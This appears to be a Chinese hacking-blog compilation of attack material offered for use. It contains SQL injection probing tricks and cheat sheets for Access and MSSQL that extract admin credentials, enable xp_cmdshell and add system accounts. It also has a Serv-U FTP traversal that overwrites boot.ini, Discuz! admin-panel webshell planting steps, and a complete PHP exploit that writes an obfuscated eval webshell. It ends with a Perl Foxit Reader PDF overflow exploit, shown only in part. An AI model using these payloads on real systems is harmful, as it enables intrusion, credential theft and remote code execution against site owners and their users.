全新的注入点检测方法

现在有很多防注入程序屏蔽了 and、1=1、1=2 类似这样的关键字,使用这样的方法有时不能探测到注入点了。
那么是否有新的方法能够探测注入点呢? 经过一段时间的研究,发现了更好的方法。哈哈,特此共享一下。
现在假设有一个新闻页面,URL 是
http://www.yobka.com/news/NewsXX2006.asp?NewsID=6375  

1. 在浏览器中打开,可以看到一个正常的新闻页面;
2. 在URL地址后面加上-1,URL变成:

http://www.yobka.com/news/NewsXX2006.asp?NewsID=6375-1

如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成http://www.yobka.com/news/NewsXX2006.asp?NewsID=6375-0
返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。

否则:

3. 在URL的地址后面加上'%2B',URL地址变为:

http://www.biz-east.cn/product/details.asp?id=680169'%2B'

返回的页面和1同;加上'2%2B'asdf,URL地址变为:

http://www.biz-east.cn/product/details.asp?id=680169'%2Basdf

返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
为什么这样可以呢?
我们可以从程序的角度来考虑一下。程序员的这条语句大致应该是这样的:
select * from news where id=123
当我们在后面加上 -1 后,语句变为
select * from news where id=123-1
SQL服务器在执行这条语句时会进行运算,实际执行的是:
select * from news where id=122
这样选出来的就是另外一条新闻记录了。如果该记录存在,就是另一则新闻;否则会显示记录不存在,或者出错。呵呵。 这也同时表示程序未对输入的数据进行过滤,存在数值型的注入漏洞。
如果 SQL 语句时这样的:
select * from news where id='123'
那么我们在后面加上 '%2B' 之后,语句变为
select * from news where id='123'+''
%2B 是 + 的URL编码。 这样之后,SQL服务器实际执行的是:
select * from news where id='123'
会返回同样的页面。
加上 '%2B'asdf 之后,语句变为
select * from news where id='123'+'asdf'
实际执行的是:
select * from news where id='123asdf'
返回页面不存在,或者显错。 这就表示有文本型的注入漏洞

Serv-U 7.2.0.1 ftp file replacement
#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
#boot.ini rewrited

转自:http://www.misssky.cn/miss/127.html

ACCESS手工注入

(1)数字型
判断数据库:http;//127.0.0.1/a.asp?id=7 and exists (select count(*) from msysobjects)
猜表名:http;//127.0.0.1/a.asp?id=7 and exists (select count(*) from 表名)
猜列名:http;//127.0.0.1/a.asp?id=7 and (select count(列名) from 表名)>0
猜值:http;//127.0.0.1/a.asp?id=7 and (select top 1 asc(mid(列名,1,1)) from 表名)>N
猜字段数:http;//127.0.0.1/a.asp?id=7 order by N
UNION查询:http;//127.0.0.1/a.asp?id=7 union select 1,2,3,4...... from 表名
跨库:http;//127.0.0.1/a.asp?id=7 and exists (select count(*) from 数据库路径.表名)
(2)字符型
判断数据库:http://127.0.0.1/a.asp?id=4ed7 and exists (select count(*) from msysobjects) and ''='
猜表名:http://127.0.0.1/a.asp?id=4ed7 and exists (select count(*) from 表名) and ''='
猜列名:http://127.0.0.1/a.asp?id=4ed7 and (select count(列名) from 表名)>0 and ''='
猜值:http://127.0.0.1/a.asp?id=4ed7 and (select top 1 asc(mid(列名,1,1)) from 表名)>N and ''='
猜字段数:http://127.0.0.1/a.asp?id=4ed7 order by N and ''='
UNION查询:http://127.0.0.1/a.asp?id=4ed7 union select 1,2,3,4...... from 表名 and ''='
跨库:http://127.0.0.1/a.asp?id=4ed7 and exists (select count(*) from 数据库路径.表名) and ''='
(3)搜索型
判断数据库:http://127.0.0.1/a.asp?id=%54%20%87% and exists (select count(*) from msysobjects) and '%'='
猜表名:http://127.0.0.1/a.asp?id=%54%20%87% and exists (select count(*) from 表名) and '%'='
猜列名:http://127.0.0.1/a.asp?id=%54%20%87% and (select count(列名) from 表名)>0 and '%'='
猜值:http://127.0.0.1/a.asp?id=%54%20%87% and (select top 1 asc(mid(列名,1,1)) from 表名)>N and '%'='
猜字段数:http://127.0.0.1/a.asp?id=%54%20%87% order by N and '%'='
UNION查询:http://127.0.0.1/a.asp?id=%54%20%87% union select 1,2,3,4...... from 表名 and '%'='
跨库:http://127.0.0.1/a.asp?id=%54%20%87% and exists (select count(*) from 数据库路径.表名) and '%'='

转自:http://www.misssky.cn/miss/147.html

SQL注射语句1.判断有无注入点
' ; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看xp_cmdshell是否删除

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--

xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'--

创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"
-v "e","e:\"'--

访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse'

爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
如何得到SQLSERVER某个数据库中所有表的表名?
--------------------------------------------------------------------------------

用户表:
select name from sysobjects where xtype = 'U';

系统表:
select name from sysobjects where xtype = 'S';

所有表:
select name from sysobjects where xtype = 'S' or xtype = 'U';

--------------------------------------------------------------------------------
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表
假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id Read the rest of this entry

最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
当然还有很多啦哦 这就看你自己在实际操作中的应用啦!:)
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin

一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID

例如:
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
创建一个虚拟目录E盘:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊,access也好用

暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- Read the rest of this entry

Discuz! 6.1 后台拿webshell

用论坛创始人账号登陆后台,
进入【版块】-【模板管理】,
在【默认模板】后面点击【详情】,在【Discuz!语言包】下面点击【actions】后的【编辑】,拉到最后面,在【guest】里面把【游客】修改为

游客\\\\\\\\');eval(点提交后,
http://论坛地址/templates/default/actions.lang.php 为PHP一句话地址。

后台设置插入webshell

来源:陆羽's blog

用论坛创始人账号登陆后台

admincp.php?action=runwizard&frames=yes 点击下一步然后在论坛名称的地方插入webshell

后台webshell地址:bbs/forumdata/logs/runwizardlog.php

密码c
详细说明
来源:www.80vul.com

Discuz! admin\runwizard.inc.php get-webshell bug

author: 80vul-A
team:http://www.80vul.com

由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory()写文件操作没有限制导致执行代码漏洞.

一 分析

在文件admin\runwizard.inc.php里代码:

1. $runwizardhistory = array();
2. $runwizardfile = DISCUZ_ROOT.'./forumdata/logs/runwizardlog.php';
3. if($fp = @fopen($runwizardfile, 'r')) {
4. $runwizardhistory = @unserialize(fread($fp, 99999));
5. fclose($fp);
6. }
7.
8. .......
9.
10. if(submitcheck('step1submit')) {
11. $runwizardhistory['step1']['size'] = $size;
12. $runwizardhistory['step1']['safe'] = $safe;
13. $runwizardhistory['step1']['func'] = $func;
14. saverunwizardhistory();
15. }
16. ........
17.
18. function saverunwizardhistory() {
19. global $runwizardfile, $runwizardhistory;
20. $fp = fopen($runwizardfile, 'w');
21. fwrite($fp, serialize($runwizardhistory));
22. fclose($fp);
23. }
24.

上面代码可以看出来当有后台权限时,可以直接得到webshell.如果结合xss[如:SODB-2008-01,SODB-2008-02..等] crsf[如:SODB-2008-03]等漏洞,可以直接通过admin身份远程写入webshell执行代码.

二 利用

poc:

1. POST /bbs/admincp.php?action=runwizard&step=3 HTTP/1.1
2. Host: www.80vul.com
3. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5. Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
6. Keep-Alive: 300
7. Connection: keep-alive
8. Referer: http://www.80vul.com/bbs/admincp.php?action=runwizard&step=2
9. Cookie:
10. Content-Type: application/x-www-form-urlencoded
11. Content-Length: 207 Read the rest of this entry

Discuz! 6.x/7.x SODB-2008-13 Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/$host = 'www.80vul.com';
// 服务器域名或IP
$path = '/discuz/';
// 程序所在的路径
$key = 0;
// 上面的变量编辑好后,请将此处的值改为1
 
if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
exit("专业点好不,先看看里面的注释 -,-\n");
 
error_reporting(7);
ini_set('max_execution_time', 0);
 
$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();
 
preg_match('/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/', $resp, $sid);
 
if (!$sid)
exit("哦,大概是没有开启WAP注册吧 -,-\n");
 
$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();
 
$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';
 
if (file_get_contents($shell) == '80vul')
exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\tiny_mce_marker
 
POST[c])?>\n别告诉我你不会用 -,-\n");
else
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");
 
function send()
{
global $host, $path, $url, $cmd;
 
$data = "POST ".$path."wap/index.php HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$data .= $cmd;
 
$fp = fsockopen($host, 80);
fputs($fp, $data);
 
$resp = '';
 
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
 
return $resp;
}
 
?>

#!/usr/bin/perl
#
# Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit
# ------------------------------------------------------------
# Exploit by SkD (skdrat@hotmail.com)
#
# A SEH overflow occurs in this vulnerability in the popular
# Foxit Reader. The latest build (1506) is not affected but
# previous are. SafeSEH is a bitch in this one, but nothing
# is impossible :) .
#
# Exploit written for Windows XP SP3.
#
# Credits to CORE Sec.
#
# Note: Author is not responsible for any damage done with this.use strict;
use warnings;

my $pdf_data1 = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0D\x0A\x25\xA1\xB3\xC5\xD7\x0D\x0A\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70".
"\x65\x2F\x50\x61\x67\x65\x2F\x50\x61\x72\x65\x6E\x74\x20\x34\x20\x30\x20\x52\x20\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x36".
"\x20\x30\x20\x52\x20\x2F\x4D\x65\x64\x69\x61\x42\x6F\x78\x5B\x20\x30\x20\x30\x20\x35\x39\x35\x20\x38\x34\x32\x5D\x2F\x47\x72\x6F".
"\x75\x70\x3C\x3C\x2F\x53\x2F\x54\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x63\x79\x2F\x43\x53\x2F\x44\x65\x76\x69\x63\x65\x52\x47\x42".
"\x2F\x49\x20\x74\x72\x75\x65\x3E\x3E\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x32\x20\x30\x20\x52\x20\x2F\x41\x6E\x6E\x6F\x74\x73".
"\x5B\x20\x39\x20\x30\x20\x52\x20\x20\x32\x34\x20\x30\x20\x52\x20\x20\x32\x35\x20\x30\x20\x52\x20\x5D\x3E\x3E\x0D\x0A\x65\x6E\x64".
"\x6F\x62\x6A\x0D\x0A\x32\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4C\x65\x6E\x67\x74\x68\x20\x33\x20\x30\x20\x52\x20\x2F\x46".
"\x69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44\x65\x63\x6F\x64\x65\x3E\x3E\x73\x74\x72\x65\x61\x6D\x0D\x0A\x78\x9C\x33\xD0\x33".
"\x54\x28\xE7\x2A\x54\x30\x50\x30\x00\xB2\x4C\x2D\x4D\xF5\x8C\x15\x2C\x4C\x0C\xF5\x2C\x15\x8A\x52\x15\xC2\xB5\x14\xF2\xB8\x02\x15".
"\x00\x87\xEB\x07\x8A\x0D\x0A\x65\x6E\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x33\x20\x30\x20\x6F\x62".
"\x6A\x0D\x0A\x20\x34\x32\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65".
"\x2F\x50\x61\x67\x65\x73\x2F\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x20\x36\x20\x30\x20\x52\x20\x2F\x4D\x65\x64\x69\x61\x42\x6F\x78".
"\x5B\x20\x30\x20\x30\x20\x35\x39\x35\x20\x38\x34\x32\x5D\x2F\x4B\x69\x64\x73\x5B\x20\x31\x20\x30\x20\x52\x20\x5D\x2F\x43\x6F\x75".
"\x6E\x74\x20\x31\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x35\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x5A\x69\x54\x69".
"\x20\x31\x38\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x36\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F".
"\x46\x6F\x6E\x74\x20\x35\x20\x30\x20\x52\x20\x2F\x50\x72\x6F\x63\x53\x65\x74\x5B\x2F\x50\x44\x46\x2F\x54\x65\x78\x74\x5D\x3E\x3E".
"\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x37\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x43\x61\x74\x61\x6C".
"\x6F\x67\x2F\x50\x61\x67\x65\x73\x20\x34\x20\x30\x20\x52\x20\x2F\x4F\x70\x65\x6E\x41\x63\x74\x69\x6F\x6E\x5B\x20\x31\x20\x30\x20".
"\x52\x20\x2F\x58\x59\x5A\x20\x6E\x75\x6C\x6C\x20\x6E\x75\x6C\x6C\x20\x30\x5D\x2F\x4C\x61\x6E\x67\x28\x65\x6E\x2D\x55\x53\x29\x3E".
"\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x38\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x41\x75\x74\x68\x6F\x72\x28\xFE\xFF".
"\x00\x6D\x00\x61\x00\x72\x00\x63\x00\x69\x00\x61\x00\x6E\x00\x6F\x29\x2F\x43\x72\x65\x61\x74\x6F\x72\x28\xFE\xFF\x00\x57\x00\x72".
"\x00\x69\x00\x74\x00\x65\x00\x72\x29\x2F\x50\x72\x6F\x64\x75\x63\x65\x72\x28\xFE\xFF\x00\x4F\x00\x70\x00\x65\x00\x6E\x00\x4F\x00".
"\x66\x00\x66\x00\x69\x00\x63\x00\x65\x00\x2E\x00\x6F\x00\x72\x00\x67\x00\x20\x00\x33\x00\x2E\x00\x30\x29\x2F\x43\x72\x65\x61\x74".
"\x69\x6F\x6E\x44\x61\x74\x65\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34\x34\x35\x34\x39\x2D\x30\x32\x27\x30\x30\x27\x29".
"\x2F\x4D\x6F\x64\x44\x61\x74\x65\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34\x34\x38\x31\x35\x2D\x30\x32\x27\x30\x30\x27".
"\x29\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x35\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x46".
"\x69\x6C\x65\x73\x70\x65\x63\x2F\x46\x28\x63\x75\x61\x6C\x71\x75\x69\x65\x72\x61\x29\x2F\x46\x53\x2F\x55\x52\x4C\x3E\x3E\x0D\x0A".
"\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x34\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x2F\x4D\x43\x44\x2F\x43\x54\x28\x61\x70".
"\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x66\x75\x74\x75\x72\x65\x73\x70\x6C\x61\x73\x68\x29\x2F\x50\x3C\x3C\x2F\x54\x46\x28\x54".
"\x45\x4D\x50\x41\x43\x43\x45\x53\x53\x29\x3E\x3E\x2F\x44\x20\x31\x35\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A".
"\x0D\x0A\x31\x33\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x53\x2F\x4D\x52\x2F\x43\x20\x31\x34\x20\x30\x20\x52\x20\x2F\x4E\x28".
"\x63\x75\x61\x6C\x71\x75\x69\x65\x72\x61\x29\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x32\x20\x30\x20\x6F\x62\x6A\x0D".
"\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x63\x74\x69\x6F\x6E\x2F\x53\x2F\x52\x65\x6E\x64\x69\x74\x69\x6F\x6E\x2F\x4F\x50\x20\x34".
"\x2F\x41\x4E\x20\x39\x20\x30\x20\x52\x20\x2F\x52\x20\x31\x33\x20\x30\x20\x52\x20\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A".
"\x31\x31\x20\x30\x20\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x45\x78\x74\x47\x53\x74\x61\x74\x65\x2F\x43\x41\x20\x31".
"\x2F\x63\x61\x20\x31\x2F\x41\x49\x53\x20\x66\x61\x6C\x73\x65\x3E\x3E\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x31\x30\x20\x30\x20".
"\x6F\x62\x6A\x0D\x0A\x3C\x3C\x2F\x4D\x61\x74\x72\x69\x78\x5B\x20\x31\x20\x30\x20\x30\x20\x31\x20\x30\x20\x30\x5D\x2F\x42\x42\x6F".
"\x78\x5B\x20\x30\x20\x30\x20\x31\x33\x30\x2E\x31\x33\x39\x20\x32\x37\x2E\x32\x38\x39\x37\x5D\x2F\x52\x65\x73\x6F\x75\x72\x63\x65".
"\x73\x3C\x3C\x2F\x45\x78\x74\x47\x53\x74\x61\x74\x65\x3C\x3C\x2F\x49\x6D\x61\x67\x65\x4F\x70\x61\x63\x69\x74\x79\x20\x31\x31\x20".
"\x30\x20\x52\x20\x3E\x3E\x3E\x3E\x2F\x4C\x65\x6E\x67\x74\x68\x20\x35\x34\x2F\x46\x69\x6C\x74\x65\x72\x2F\x46\x6C\x61\x74\x65\x44".
"\x65\x63\x6F\x64\x65\x3E\x3E\x73\x74\x72\x65\x61\x6D\x0D\x0A\x78\x9C\x2B\xE4\x2A\xE4\x32\x50\x00\xC1\xA2\x74\x30\xC3\xD0\xD8\x40".
"\xCF\xD0\xD8\x52\xC1\xC8\x5C\xCF\xC8\xC2\xD2\x5C\xA1\x28\x95\xCB\x50\x01\x08\x8D\x2C\x20\xC2\xA6\x70\xE1\x34\x2D\xAE\x40\x20\x04".
"\x00\xBD\x52\x0D\x43\x0D\x0A\x65\x6E\x64\x73\x74\x72\x65\x61\x6D\x0D\x0A\x65\x6E\x64\x6F\x62\x6A\x0D\x0A\x39\x20\x30\x20\x6F\x62".
"\x6A\x0D\x0A\x3C\x3C\x2F\x54\x79\x70\x65\x2F\x41\x6E\x6E\x6F\x74\x2F\x53\x75\x62\x74\x79\x70\x65\x2F\x53\x63\x72\x65\x65\x6E\x2F".
"\x50\x20\x31\x20\x30\x20\x52\x20\x2F\x4D\x28\x44\x3A\x32\x30\x30\x39\x30\x32\x31\x39\x31\x34\x34\x37\x35\x36\x2D\x30\x32\x27\x30".
"\x30\x27\x29\x2F\x46\x20\x34\x2F\x52\x65\x63\x74\x5B\x20\x32\x30\x35\x2E\x31\x35\x33\x20\x38\x30\x36\x2E\x31\x38\x32\x20\x33\x33".
"\x35\x2E\x32\x39\x31\x20\x38\x33\x33\x2E\x34\x37\x32\x5D\x2F\x42\x53\x3C\x3C\x2F\x53\x2F\x53\x2F\x57\x20\x31\x3E\x3E\x2F\x42\x45".
"\x3C\x3C\x2F\x53\x2F\x53\x3E\x3E\x2F\x4D\x4B\x3C\x3C\x2F\x42\x43\x5B\x20\x30\x20\x30\x20\x31\x5D\x2F\x52\x20\x30\x2F\x49\x46\x3C".
"\x3C\x2F\x53\x57\x2F\x41\x2F\x53\x2F\x41\x2F\x46\x42\x20\x66\x61\x6C\x73\x65\x2F\x41\x5B\x20\x30\x2E\x35\x20\x30\x2E\x35\x5D\x3E".
